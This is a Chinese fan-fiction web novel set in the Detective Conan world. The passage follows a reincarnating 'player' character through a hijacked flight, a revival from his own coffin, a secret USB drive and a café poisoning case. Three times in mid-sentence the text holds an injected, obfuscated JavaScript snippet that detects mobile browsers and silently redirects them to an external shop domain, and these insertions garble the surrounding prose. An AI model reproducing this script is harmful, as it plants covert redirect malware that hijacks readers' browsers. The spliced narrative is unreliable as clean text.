“所有人不许动!”一个戴着口罩的男人喊道,“飞机现在由我们控制!配合的话,没人会受伤!” 劫机。 莫尼科快速评估形势:三名劫机者,至少两把枪。经济舱两名,驾驶舱一名。乘客大约五十人,机组人员……他瞥见一名空乘试图按下警报按钮,被劫机者击倒在地。 现在不是冲动的时候。劫机者似乎在等待什么,没有立即提出要求,只是控制着客舱。莫尼科观察着他们的动作——训练有素,但不是专业军人。眼神里有狂热,也有恐惧。 一个孩子开始哭泣,母亲紧紧抱着他。劫机者烦躁地挥了挥枪:“闭嘴!” 时间一分一秒过去。莫尼科计算着可能的行动方案,同时分神思考另一个问题——这架飞往日本的飞机,这次任务,还有这场劫机,是否都与黑衣组织有关? 他调出系统记录,翻到上一次的游戏存档。 一个叫萩原研二的警察在拆弹任务中殉职。 森川海感到一瞬间的窒息。 发生了什么?他几乎是茫然的想。调动系统记录的手无意识地翻找着。森川和也死后发生了什么? 他到底做了什么,为什么又是一次错误的选择? 如果萩原研二死去,那森川和也的人生还有什么意义? 然后,一个更深的念头浮现出来。 如果现在他死在这里呢? 如果莫尼科·海耶斯死于空难或劫机事件,这个角色就此消失,他作为玩家森川海可以重新开始。也许下一次,他可以更早介入,改变一些事情。 莫尼科的手指停在屏幕上,强烈的销号欲望涌上心头。让这一切重来。从零开始。也许这一次他能做得更好,也许能救下更多人,也许能更早发现森川和也背后黑衣组织的阴影,也许能在秀一加入FBI之前就阻止他走向那条危险的道路。 飞机突然剧烈颠簸。劫机者大声咒骂,其中一个冲向驾驶舱询问情况。乘客们惊恐地尖叫。 “引擎故障!”驾驶舱传来喊声,“我们需要紧急迫降!” 恐慌在机舱内蔓延。氧气面罩从头顶掉落。莫尼科机械地戴上面罩,透过舷窗看到左侧引擎冒着黑烟。 死亡近在咫尺。只需要不做任何事,让这一切发生。 他的手指悬停在系统菜单的“注销角色”选项上。只需要确认,莫尼科·海耶斯就会在这场事故中死去,而玩家森川海可以回到角色创建界面,重新选择时间点,重新开始。 但然后呢? 秀一会怎么想?他会收到通知,儿时的朋友死于空难。他会继续在黑衣组织卧底,独自面对那些危险。莫尼科的父母,玛丽阿姨,秀吉,真纯……他们会失去一个家人。 还有那些他不知道但可能存在的影响——如果莫尼科现在死了,MI6的任务会由谁接手?关于黑衣组织的情报会不会就此中断,那些可能因为他的行动而得救的人呢? 飞机再次剧烈颠簸。劫机者也慌了,他们显然没料到会出现机械故障。 “不想死就都坐好!”一个劫机者咆哮着,但声音里的恐惧已经藏不住。 莫尼科深吸一口气,解开了安全带。 系统面板闪烁警告。 【警告:您正在执行高风险行动】 他无视了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189140|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提示,站起身。深蓝色的眼睛扫过整个机舱,快速计算距离、角度、时间。两个劫机者,一个在过道前端,一个在中部。驾驶舱里还有一个。 “你!坐下!”前端的劫机者举枪对准他。 “飞机要坠毁了。”莫尼科平静地说,继续向前走,“你们也活不了。” “我说坐下!” 枪口颤抖着。莫尼科继续靠近,脚步平稳。他能听到自己的心跳,能感受到肾上腺素在血管中奔涌,但思维异常清晰。 五米。三米。 劫机者扣动扳机的前一秒,莫尼科侧身闪避,同时抓住对方持枪的手腕向下压。枪响了,子弹射入地板。惊呼声中,他一个肘击击中对方咽喉,夺过手枪,转身瞄准另一个劫机者。 “放下武器。”他的声音在混乱的机舱里清晰而冷静。 第二个劫机者愣住了。莫尼科没有给他思考的时间,扣动扳机——子弹擦过对方耳边,击中机舱壁。 “下一枪不会打偏。” 武器掉落在地。 驾驶舱的门突然打开,第三个劫机者冲出来,看到同伴被制伏,举起手中的枪。莫尼科没有犹豫,第二发子弹击中对方肩膀。男人惨叫着倒下。 “谁有医疗经验?”莫尼科喊道,“来处理伤员!其他人坐好,系紧安全带!” 几名乘客战战兢兢地站出来。莫尼科将武器交给一个看起来最镇定的人:“看好他们。”然后冲向驾驶舱。 机长倒在地上,副驾驶满脸是血,但仍在努力控制飞机。 “情况?”莫尼科蹲在机长身边检查伤势。 “左引擎完全失效,右引擎输出不稳。”副驾驶的声音嘶哑,“我们在下降,必须迫降。” “最近的机场?” “还在联系……但可能来不及了。” 莫尼科看向控制台,快速扫过仪表数据。高度、速度、剩余燃料……他在MI6的训练包括了基础飞行知识,但这远远不够。 “我能做什么?” 副驾驶指了指通讯面板:“联系空中管制,报告情况,请求紧急援助。” 莫尼科戴上耳机,调整频率。通讯信号断断续续,但他还是成功联系上地面报告了情况:航班号,当前位置,引擎故障,劫机制伏,需要紧急迫降。 “收到,已定位你们的位置。最近的可用跑道在二百八十公里外,能坚持到吗?” 莫尼科看向副驾驶。对方摇了摇头,脸色苍白。 “不确定。”莫尼科回答,“我们需要其他方案。” “海上有救援船只,但如果迫降在海面……” 后果不言而喻。莫尼科闭上眼睛,深吸一口气。 要读档吗? 不,读档也无法改变飞机故障,时间再靠前呢?能不能阻止飞机起飞? 可是不确定故障来源,不稳定因素太多了。 那就用外挂吧。 森川海掏出chatGPT和社交软件。 “转向十五度,保持当前下降率。”莫尼科对副驾驶说,“有一片相对平静的海域,如果我们能控制滑翔,可以在海上迫降。” 副驾驶震惊地看着他:“你确定?” “不确定。”莫尼科诚实地说,“但这是最好的选择。” 接下来的十分钟像是被拉长成永恒。飞机艰难地转向,高度持续下降。乘客们惊恐的哭声被压抑成低低的抽泣。莫尼科协助副驾驶控制飞机,同时通过广播安抚乘客。 海面在舷窗外越来越近。 迫降的瞬间,世界变成了巨响、震动和混乱。机身与水面撞击,撕裂,海水涌入。莫尼科抓住任何能抓住的东西,用身体护住受伤的机长。冰冷的海水淹没了一切。 然后是黑暗。 死亡般的黑暗。 接着是光亮、疼痛,消毒水的味道。 莫尼科睁开眼睛,看见白色的天花板。他躺在一张病床上,手臂上插着输液管。窗外是陌生的城市景色——日本。 门开了,一个护士走进来,看到他醒来,立刻用日语说:“您醒了!感觉怎么样?” “我还好。”莫尼科用日语回答,“其他人呢?” “大部分乘客都获救了,多亏了您。”护士的眼睛里充满敬佩,“飞机迫降成功,救援船及时赶到。只有少数重伤,无人死亡。” 莫尼科闭上眼睛,长长地松了一口气。 莫尼科抬起手,看着输液管中滴落的液体,从床头柜拿起自己的个人物品。手机已经损坏,但SIM卡还能用。他买了新的手机,插入SIM卡,开机。 没有新邮件,赤井秀一仍然没有消息。 莫尼科打开通讯录,找到那个五年来从未拨过的号码——秀一在美国的旧号码。他按下拨号键,听着忙音,直到语音提示“该号码已停用”。 东京的街道上车流如织,行人匆匆。在这个庞大的城市里,赤井秀一可能就在某个角落,以另一个名字另一个身份活着。 他会找到他。 但在那之前,他有更重要的事去完成。 14. 014 你有没有用过已经死去的身份? 和森川海主动放弃的布伦尼文不同,森川和也确认死亡后,他没有选择读档,而是让时间继续。 那时……那时他想,死亡怎么不算一种圆满结局呢?在年轻时死去,留给生者最好的回忆然后渐渐模糊,成为深刻的影子。唯一的错误是死亡本身,森川和也自己的死亡,萩原研二的死亡。 那森川海该怎么选择,放弃萩原研二,或者成为幽灵? 没有疑问的选择。森川和也的存在就是为了这些人,他的同期、他的挚友,如果连他们都死去,那这个生命将毫无意义。 【确认继续】 棺材里的空气是死的。 不是比喻,是真的死了——混浊、凝滞、带着防腐剂过于甜腻的虚假花香和自己身体缓慢代谢产生的最后一点微弱的生物气息。森川和也,或者说,刚刚决定继续使用这个身份的森川海,在一片黑暗和令人窒息的狭窄中睁开了眼睛。 第一个念头是:真安静。 第二个念头是:真他爹挤。 第三个念头是:……这棺材板怎么钉这么死? 他试着动了动手指,能行,手臂也能抬,但立刻碰到了头顶上方坚硬的木质内壁,发出沉闷的“咚”一声。声音被厚重的木材和泥土吸收,传不出去。他曲起膝盖,顶了顶——纹丝不动。不仅是力气问题,还有空间问题。这棺材质量未免太好了点,标准尺寸,严丝合缝,躺进去很体面但是爬不出来,再加上外面压实的泥土…… 森川躺在那里,在黑暗里眨了眨眼。 失策了。 忘记一般人没有撬棍出不了土了,系统能修复致命伤,但没配送外卖的条件。 他尝试推、撞、用肩膀顶。棺材发出沉闷的呻吟,但盖板牢固得令人绝望。肺里的空气越来越少,甜腻的防腐剂味道让人头晕。窒息感开始悄然攀升。 不是不能死。大不了读档。 但…… 他想起葬礼上萩原的眼睛,想起松田紧绷的下颌线,想起鬼冢教官那个沉重的敬礼,甚至……想起一束不该出现在这里的、沾着雨水的铃兰。 死在这里,闷死在为自己准备的棺材里,像个荒谬的黑色笑话。然后呢?再读档,回到哪个节点?继续重复森川和也的悲剧?让那些家伙再参加一次他的葬礼? 不。 森川闭上眼,在意识深处,调出了那个只有他能见的界面。冰冷的幽蓝光芒在绝对的黑暗中映照着他的视网膜,上面清晰地记录着最近的关键节点: 【死亡节点A:卡慕割喉(老宅)】 【死亡节点B:琴酒审讯(地下室)】 【死亡节点C:葬礼(棺材)】 他的目光落在【节点A】上。 读档。 时间回流,触感重置。 冰冷的刀刃划过喉咙的剧痛只持续了极短的刹那,甚至来不及品尝恐惧,黑暗便吞噬了一切。但这一次,森川的意识没有立刻沉入读档的虚无,而是诡异地悬浮在一片混沌的感知中。 他知道自己倒在地上,温热的血从颈间汩汩涌出,浸透衣领在地面蜿蜒。听觉先于其他感官恢复——他知道卡慕在旁边冷冷地看着这一切,没有对森川和也的死亡产生丝毫疑问。他听见卡慕平淡无波的脚步声渐行渐远,消失在嘈杂的街道声中。 然后是嗅觉,浓重的血腥味,陈腐的灰尘味。 视觉没有恢复。或者说,恢复的不是人类的视觉。 在一片黑暗的视野中,他感知到了自己脖颈处那可怖的伤口—— 不是用眼睛看,是更原始更直接的“知晓”。伤口边缘的皮肉翻卷,切断的气管和血管像寂静深渊里张开的丑陋的嘴。生命正从这张嘴里飞速流逝。 然后,“它”开始了。 最初是细微的、仿佛无数湿滑触须蠕动的麻痒感,从伤口最深处的断茬传来,是直接作用在意识层面上的违背生物常识的生长。断裂的血管末端像有了独立意识的盲眼水蛭,在粘稠的血液中蜿蜒探出,盲目地摸索、触碰,然后找到另一端,对接、融合。 血液在地上蔓延,勾勒出一片红色。血色的边缘泛起泡沫,开始减缓倒流。 接着是肌肉与筋膜。新鲜的带着不正常粉嫩色泽的肉芽从断面疯狂滋生蔓延,像快进千万倍的菌丝,彼此交织覆盖,填补缺损。软骨与气管的碎片被无形的力量吸引,新的组织包裹上去,强行将其粘合。 新的皮肤飞速生长。仿佛有一只看不见的手,从虚空中编织出苍白带着湿润光泽的皮膜,缓缓向下覆盖,将下方那团仍在蠕动重组的血肉遮住。皮膜与周围旧皮肤交接处,起初是一圈红肿的肉芽,随后迅速平滑,只留下一道比周围肤色略浅、微微凸起的狰狞疤痕。 寂静无声。 这是对生命的亵渎,是普通人无法理解的东西。 森川的旁观着这一切,没有疼痛,只有冰冷的抽离感,像在观看一场发生在别人□□上的、快进的默剧。 当最后一点皮肤彻底覆盖,疤痕定型时,常规的五感也回归——人群声、灰尘味、身下地面的冰冷坚硬,以及喉咙处残留的、仿佛被烙铁烫过的灼痛。 他咳嗽起来,呛出一些残血,撑着地面慢慢坐起。手指摸上脖颈,触碰到那道新鲜凸起,还带着余温的疤痕。没有镜子,但他能想象它的模样——一条粗暴宣告“此处死亡被篡改”的印记。 这次卡慕没有再回来查看。 在短短的一天内,他给予了森川和也两次死亡。 恍惚中先是燃烧的大火。 然后是伦敦永不停歇的雨。 一个被枪击、确认死亡几分钟的人,在常识中绝无生还可能。 卡慕为什么会知道他的复活,又为什么不再追究? 但来不及多想,他回到老宅,在火和雨中找到那个被烧的滚烫的铁盒。 如果是松田阵平或者萩原研二,他们大概会兴冲冲地把盒子撬开。但森川和也做不到,他想着同期的面容,用一块捡来的石头砸开了盒子。 那里面是一个U盘。 森川和也在原地坐了很久,直到天空下起大雨,冰冷的雨水彻底打透衣服。他踉跄着站起,离开了这片土地。 他没有回公寓,也没有联系任何旧日同伴。只是用公共电话,拨通了一个经过多重加密转接的号码。 “是我。”他的声音嘶哑难听,“计划有变。‘落叶’方案提前启动。现在。” 电话那头沉默了两秒,传来联系人紧绷的声音:“你确定?‘落叶’意味着……” “意味着森川和也从今天起正式死亡。”森川打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189141|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 断他,语气平静得可怕。 今天真是个坏天气。看着雨幕,森川和也想。 他闭上眼。 莫尼科·海耶斯从短暂的不适中醒来。 脖子上那道狰狞的疤痕被易容修改成了一处看似陈年的、由事故造成的普通割伤痕迹。疼痛依旧,但至少看起来合理了。 他起身,走到公寓窗边。 倒影里的人有着一头漂亮的棕色卷发。面容因为疲惫和刻意改变的神情而显得有些陌生。只有那双深蓝色眼睛深处,还残留着一丝属于森川和也的、挥之不去的阴郁和锐利。 为什么会是莫尼科海耶斯? 天知道森川海在看见这张脸时的惊悚。 U盘是近乎毫无意外的收获,这种平静让他恐惧。莫尼科几乎是逃一样离开,把U盘插入不联网的专用设备。 屏幕亮起,要求输入密码。 第一层,母亲玲子的生日,通过。 第二层,父亲失踪那天的日期,通过。 第三层,一道复杂的化学结构式谜题,他凭借残留的医学知识和系统辅助,耗时数小时解开。 第四层,一串看似无意义的数字,他尝试了所有可能关联——家庭住址、电话号码、警校编号——全部错误。 U盘的核心内容,依旧锁在最后一道屏障之后。 母亲到底在里面藏了什么,需要如此严密的防护?这串密码又指向什么? 他没有更多线索了。 他还能为此做些什么? 森川和也的葬礼在前些天举行,他没有理由去参加,也没有勇气去面对这些。 一个念头毫无征兆地窜入脑海,带着点不合时宜的近乎自毁的冲动。 他关掉解密程序,打开一个匿名邮件服务,从相册随意找了一张伦敦阴雨天的街景照片附在邮件里。然后是附件,他把u盘的内容原封不动地传给萩原研二。 但在点击“发送”前,他犹豫了一下,手指在键盘上悬停。最终,他在邮件正文里用英文打上了一行字,想了想又删掉,换成更简洁的一句: “Headstone is too quiet. Brought you something to listen to. Don''t let the bastards win.” (墓碑太安静了。给你准备了点能看的。别让那些混蛋赢了。) 发送。 做完这一切,莫尼科·海耶斯关掉电脑,走到窗边,看着自己的倒影和倒影后灰蒙蒙的天空。 他知道这很冒险,近乎愚蠢。萩原不傻,松田更不。这个匿名包裹和那句没头没尾的话,很可能让他们产生危险的联想。 但他就是忍不住。 森川和也已经死了,死在棺材里,死在档案中,死在亲友的悲痛里。这是既定事实,是保护所有人包括他自己的必要代价。 但有些联系,有些无法舍弃的情感,有些玩笑和未兑现的承诺……或许可以换一种方式,在阴影里继续。 哪怕只是一句来自幽灵的遗言。 雨水冲刷着窗户。 我无法完成的未尽之事,总有人可以将它继续。 我的母亲是一位战士,而我将走她走过的道路。 新的一天开始了。 15. 015 萩原研二收到那个邮件时,刚结束连续三十六小时的排爆待命。他拖着疲惫的身体回到公寓,在堆满工作信息和垃圾邮件的收件箱里,看到了那个毫不起眼的未读邮件。 “For Hagi&Matz” 心脏像被一只冰冷的手攥住,狠狠一拧。他几乎是扑到电脑前,打开邮件。 短短的两行英文,带着些冷漠的调侃,像那个人死前会做的事。 附件有四层密码,但已经解开了三层,剩下一个谁也不知道的答案。 公寓里一片死寂。萩原研二僵在椅子上,目光死死定在空白的输入框上。后背窜起一层细密的冷汗,随即又被一股滚烫的、混杂着震惊、愤怒和一丝荒诞希望的情绪冲刷。 发件人是谁? 一个并不陌生的地址,他们不久前才去过那个地方,为了一个人的葬礼。 这个混蛋……用公墓的地址发邮件。 他抓起手机,手指有些发抖,拨通了松田阵平的号码。 “小阵平,”他的声音绷得像一根拉到极致的弦,“现在,立刻,来我公寓。出事了。不,是……是见鬼了。” 半小时后,松田阵平戴着墨镜的脸出现在门口,嘴角还带着一丝被打扰的不耐烦。但当他听完萩原的讲述,又亲眼看见了那封打不开的邮件和留言,于是脸上的不耐烦消失了,取而代之的是一种近乎凶狠的凝重。 “我说真的,”松田摘下墨镜,眼睛下有浓重的阴影,他看向萩原,“你确定葬礼上那个……” “我现在也不确定。”萩原的声音低而快,“但当时我们也不可能去检查……”他的声音低落。“检查……小和也的尸体。” “英文留言。”松田盯着那句被萩原翻译出来的话,“‘别让那些混蛋赢了’……混蛋,指谁?杀死他的那些人?某个组织?” “还有这个。”萩原指着文件,“里面肯定还有别的东西,加密了。这是他留给我们的……不,是寄给我们的,他知道我们会认出来。至少,他希望我们能联想到他。” “所以他没有真的……”松田的话没说完,但意思很明显。 “不知道。”萩原摇头,手指插入发间,用力按着太阳穴,“但如果他没死……为什么用这种方式?为什么是现在?他独自去取的东西一定和他查的事情有关,也和他的死有关。他在用这种方式告诉我们:他查到东西了,危险来自那些不知道名字的人,而斗争还没结束。” 松田沉默了很久,盯着电脑,像是想看到里面隐藏的秘密,或者看到那个留下它的人的影子。 “查。”松田阵平最终说,声音沙哑,“用所有能用的方法解密这个。但我们应该去找他吗?如果他真的还活着。” “不好说。”萩原研二琢磨,“他还有闲心给我们发这种邮件……感觉也没很危险的样子。” “那就找。他已经把东西送到我们手上了。难道要当没看见?”松田阵平顿了顿,看向窗外沉沉的夜色,语气复杂难辨,“而且如果那家伙真的还在某个地方,用这种方式回来……我们至少得搞清楚,他到底想让我们看到什么。” “话说,小和也可是公安。”萩原研二勇敢地提出猜想,“会不会其实这全部是他们的计划,而我们两个只是play的一环?” 松田阵平:“……” 松田阵平:“别以为我打了他就不会打你。” “呜哇——” 东京,深秋的街道带着凉意。 莫尼科·海耶斯——或者说,顶着这个身份的森川和也——站在一栋公寓楼对面的便利店屋檐下,手里拿着一罐热咖啡,目光看似随意地扫过街面。 我的马甲在扮演我的马甲。好奇怪。森川海想。 这里是资料显示未来炸弹犯可能出现、并最终安装□□的地点之一。时间还很充裕,但他需要提前熟悉环境,规划可能的介入点。 对玩家而言,逻辑依旧简单:提前控制或消除威胁。但莫尼科站在这里,拿着温热的咖啡罐,感受着真实世界的空气和声音,那份简单的逻辑变得沉重。 如果提前抓了炸弹犯,会不会有更极端的同伙补上?如果没有人付出死亡的沉重代价,他们对待后续任务的态度会不会不同?那些在原本时间线上,因为萩原之死而激发的连锁反应——松田的决意、其他人的改变——会不会就此扭曲? 他什么时候开始像个真正的局内人一样,恐惧起蝴蝶效应了?系统依旧沉默地悬浮在视野边缘,提供便利却从不解释。它到底是什么?每一次“读档”和“修复”,究竟付出了什么更深层的代价? 森川和也从不相信命运馈赠的礼物。 森川海什么都能去做。 困惑如同灰色的天空笼罩着他,而天上有飞鸟振翅滑过,在黑色的玻璃上留下白色的倒影。 为了驱散杂念,他沿着街道慢慢走着,目光扫过橱窗、行人、车辆。然后,他的脚步猛地顿住了。 就在前方不远处的书店门口,两个熟悉的身影正从里面走出来。卷发的那个手里拎着个装模型的纸袋,一脸“总算买到了”的满足,半长发的那个在旁边笑着说什么,伸手想去翻看袋子,被对方嫌弃地拍开。 松田阵平。萩原研二。 血液仿佛瞬间冲上头顶,又在下一秒冻结成冰。他僵在原地,隔着汹涌的人流,贪婪又胆怯地注视着。他们穿着休闲外套,看起来是难得的休假。松田的戴着的墨镜被萩原扒拉下来,露出放松的眉眼;萩原则是毫不掩饰的愉快,眼睛弯着。 不是葬礼照片上的沉痛,不是记忆里的定格画面。是活的,会动,会笑,会为了一个模型较劲的,他的同期,他的朋友。 一股尖锐的几乎让他眼眶发热的渴望狠狠撞上胸口——他想走过去,用莫尼科的身份也好,假装问路也好,只要能和那鲜活的气息产生一点点真实的交集。 但他不能。森川和也已经死了。 他看着他们似乎讨论起接下来去哪,然后达成一致,走向街角一家看起来颇受欢迎的开放式咖啡馆。 鬼使神差的,他的脚动了。跟了上去。 咖啡馆里飘着烘焙豆子和奶油的香气。他选了离他们不远不近、靠近绿植装饰柱的一个位置坐下,点了一杯美式咖啡,目光却无法控制地飘向那一桌。 他看到萩原研二兴致勃勃地研究甜品单,和店员熟络地交谈;看到松田阵平皱着眉头搅拌咖啡,似乎对味道不太满意;看到他们放松地靠在椅背上,萩原说了句什么,松田撇撇嘴,但嘴角似乎有极淡的弧度。 巨大的酸楚的暖流淹没了他。随之升起的,是更强烈的烧灼般的不甘。 凭什么我要像个幽灵?凭什么我不能坦然地站在阳光下,站在他们身边? 我不甘心。 这情绪如此汹涌,冲垮了连日来的迷茫。玩家?系统?未知的恐惧?去他的。就算这是一场游戏,他也要按自己的意志通关。就算系统背后藏着可怖的真相,他也要亲手揭开。 而这一切的起点,是眼前这两个活生生的人。他想重新认识他们,哪怕永远不能相认。为了这个,他愿意认真对待每一段人生,愿意解开所有谜团,顺着母亲未走完的路一直走下去,然后在阳光下与他们相见。 宁静被一声惊呼和椅子翻倒的声音打破。 声音来自靠窗的四人桌。一位穿着优雅套装的中年女士捂着嘴,惊恐地看着她对面的男伴。男人趴在桌面上,手边打翻的咖啡杯浸湿了桌布,脸色发青,嘴唇呈现不自然的紫绀,已然没了气息。 短暂的死寂后,骚动蔓延。 “警察!所有人留在原位,不要触碰现场任何东西!”萩原研二和松田阵平瞬间起身,亮出证件,沉稳的声音立刻控制了局面。 店长慌张地跑来。 死者名叫高桥俊介,与三位朋友在此聚会。另外三人分别是死者的商业伙伴佐藤健一,死者的未婚妻小林由美,以及死者多年的好友、目前经营不善的陶艺家野村拓也。 初步判断,死者无明显外伤,口鼻有苦杏仁味残留,疑似□□中毒。毒物很可能混入饮品或共享的点心中。死者用过的咖啡杯、餐盘被迅速隔离。 松田阵平迅速检查了桌面,低声道:“他自己加的方糖和奶精是独立包装,问题可能出在咖啡本身,或者他单独吃过的柠檬塔。” “又是□□。”萩原研二说。 他们没再多谈,只是心照不宣地想起来当初一起经历的那个案件。 莫尼科在角落默默观察,他的目光扫过每个人。系统没有提示,这只是偶然。但他前医学生和公安的本能在分析。 佐藤声称与死者合作顺利,虽有竞争但无深仇。小林哭诉感情甚笃,即将订婚。野村则承认近期因借贷与死者有过争执,但坚决否认下毒。 动机似乎都不够直接。莫尼科注意到野村拓也无意识地用拇指反复摩挲食指指腹,那里有细微的、不同于陶土的硬质刮痕和轻微变色。而佐藤健一在说话时,目光几次快速掠过死者放在桌边的昂贵钢笔。 线索杂乱,直到莫尼科捕捉到野村低声嘟囔的一句话:“……他根本不懂美绪的心血……” 美绪?莫尼科心中一动。他装作不经意地看向咖啡馆书架上放的本地社区小报合订本。快速翻阅下,他找到一则几个月前的简短报道:陶艺家野村美绪因意外从工作室楼梯坠落身亡,疑因长期抑郁和过度劳累导致失足。报道提到,美绪是野村拓也的妹妹,才华横溢。 拼图开始浮现。 这时,松田阵平和萩原研二似乎也从店长和熟客的零星对话中拼凑出信息,目光锐利地锁定野村。 “野村先生,”松田开口,语气平稳,“你妹妹美绪女士的死,和高桥俊介有关,对吗?” 野村拓也身体剧烈一颤,脸上最后一点血色也褪尽了。 在后续追问和逐渐浮出水面的证据面前,野村崩溃了。他承认,美绪的死并非纯粹意外。她当时陷入创作瓶颈和重度抑郁,高桥俊介不仅在她最脆弱时恶意贬低她视为生命源泉的作品,还落井下石催讨早年的借款,成为压垮她的最后一根稻草。 “美绪她……她的陶器就是她的灵魂……”野村泪流满面,声音嘶哑,“那家伙毁了她的灵魂!他事后毫无愧疚,照样高谈阔论,享受成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189142|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 功!凭什么?!我要让他也尝尝珍视之物被毁灭的滋味!” 他利用陶艺工作室的化学品,提取了微量□□,将其精心混合进一小罐特制的、颜色深邃的蓝莓果酱里。他知道高桥俊介有在面包上抹果酱的习惯,所以今天他带来了这罐致命的礼物。 案件告破,辖区警察很快赶到接手。咖啡馆里响起若有似无的低语叹息。 在等待移交的间隙,莫尼科看着被戴上手铐、神情麻木的野村拓也,又看了看面色沉凝的萩原和松田。 他想起了那个尚未到来的十一月七日,想起了那个未来会为了同伙“报仇”而不择手段的炸弹犯。 有些复仇源于无法承受的失去,最终却编织出更深的悲剧。 或许是刚才的决心仍在鼓动,或许是想对近在咫尺的两人说些什么,哪怕他们无法理解真正的含义。 莫尼科用日语,声音不大,但足以让不远处的两人听清: “为了逝去的同伴而向世界举起复仇的刀刃……那份痛苦或许可以想象。但复仇的火焰,往往最先吞噬的是举刀者自己,以及更多原本无关的人。逝去的人如果知道,大概最不愿看到的,就是活着的人被仇恨囚禁,变成自己曾经憎恶的样子吧。” 他说这话时,目光落在窗外的街道上,仿佛只是自言自语地感慨。 但萩原研二和松田阵平几乎同时转头,目光聚焦在这个从案发就安静坐在角落、此刻突然发出如此言论的陌生青年身上。 为了同伴的复仇……被仇恨囚禁……变成憎恶的样子…… 这些词语像冰冷的针,刺入他们心底那个住着幽灵的角落。 森川和也。 他的调查,他的死亡……是否也来自于旧日里某个人的遗迹?他留下的文件和那句没头没尾的话,又是不是在警告他们,劝解他们? 这个自称莫尼科·海耶斯的归国留学生……为什么会突然说这些?是洞察了案件背后的心理,还是意有所指? 萩原脸上惯常的轻松笑意彻底消失,取而代之的是锐利的审视。松田阵平更是直接摘下了墨镜,那双总是带着几分不耐的眼睛里,此刻是毫不掩饰的探究和警惕。 “我说。”松田阵平开口。 萩原研二沉重地点点头,示意自己在听。 松田阵平:“那家伙为什么用英文留言啊,因为他现在是留学生吗?” 萩原研二:“?” “等一下。”萩原恨不得抓住幼驯染摇晃,“你怎么就知道这个人是小森川了啊???” 莫尼科心里一沉。果然,这两个人太敏锐了,虽然自己说的是随便想的比较谜语又比较深沉的话,但到底朋友就是朋友,他们意识到不对了。 他维持着表面的平静,甚至对两人礼节性地点了点头,仿佛只是普通市民对警察办案的感慨,然后拿起账单,准备离开。 “请稍等,这位先生。”萩原研二的声音响起,温和带着不容拒绝的意味。他走了过来,脸上重新挂起社交性的笑容,“感谢您刚才协助稳定了大家的情绪。我是警视厅的萩原研二,这位是我的同事松田阵平。方便的话,可以留一个联系方式吗?后续如果案件需要补充细节,”他顿了顿,笑容微深,“我们可能需要再联系您。” 松田阵平也走了过来,站在萩原侧后方,虽然没有说话,但那双眼睛牢牢锁定了莫尼科,像要把他从外到里剖析清楚。 莫尼科看着萩原伸出的手,以及那双带着审视和某种深意的眼睛,又瞥了一眼旁边沉默却存在感极强的松田。 被盯上了。 虽然不该说但是好爽诶。 他们觉得我有问题,他们在乎我! 莫尼科短暂地犹豫了一下——给出联系方式,意味着“莫尼科·海耶斯”将正式进入这两人的视野,风险很大。但拒绝的话,这两只警犬绝对会变成比格在他身边“werwerwer”的叫吧!那不是更糟糕了吗! 更重要的是……内心深处,那点不甘和渴望在蠢蠢欲动。这不就是他想要的吗?以新的身份,重新建立一点联系,哪怕是在对方的怀疑和审视之下。 “……当然可以。”莫尼科最终开口,从口袋掏出一张简约的名片,上面只有名字“Monico Hayes”和一个邮箱地址及日本临时号码,“我只是个学生,随口胡说而已。如果对两位有帮助请随时联系。” 萩原研二接过名片,仔细看了一眼,然后抬起头,笑容不变:“莫尼科·海耶斯先生?感谢。那么就不打扰您了,祝您今天愉快。” 莫尼科微微颔首,不再多言,转身离开了咖啡馆。 走到街道上,秋日的凉风拂过面颊。他能感觉到背后那两道目光,如同实质,久久没有散去。 好吧。他心想。 被重点观察了,还被要走了联系方式。和预想的重新认识完全不同,开局就是怀疑模式。 但也行吧。 他们总不能打死我。 莫尼科走入东京的人群中。 “莫尼科·海耶斯。”萩原研二神情微妙,“Monico·Hayes,他演都不演了是吗?” 16. 016 森川和也(もりかわかずや),读音是Morikawa kazuya,四分之三个森川刚好读作莫妮卡,而莫尼科是莫妮卡的变体。 那个留学生…… 如果真的是森川和也的话那这个小森川很不会起名字了。 东京的深秋,空气里开始带上属于初冬的凛冽。对于萩原研二和松田阵平而言,这个季节除了气温的变化,更多了一层难以言喻的、如同芒刺在背的疑窦。 莫尼科·海耶斯。 这个名字像一个幽灵的代号,盘旋在他们日常的边缘。那张名片被小心地收在萩原的警务手册夹层里,偶尔在深夜,他会拿出来,对着灯光看上面简洁的印刷字体,仿佛能看出什么隐藏的信息。松田更直接,他利用有限的权限和渠道查了这个名字的背景。资料干净得像教科书:日英混血,母亲早逝,父亲常年在海外,伦敦大学学院的留学记录,近期归国进行短期研究和语言进修。社交痕迹极少,符合一个内向学术型留学生的画像。 太干净了。干净得像特意准备的。 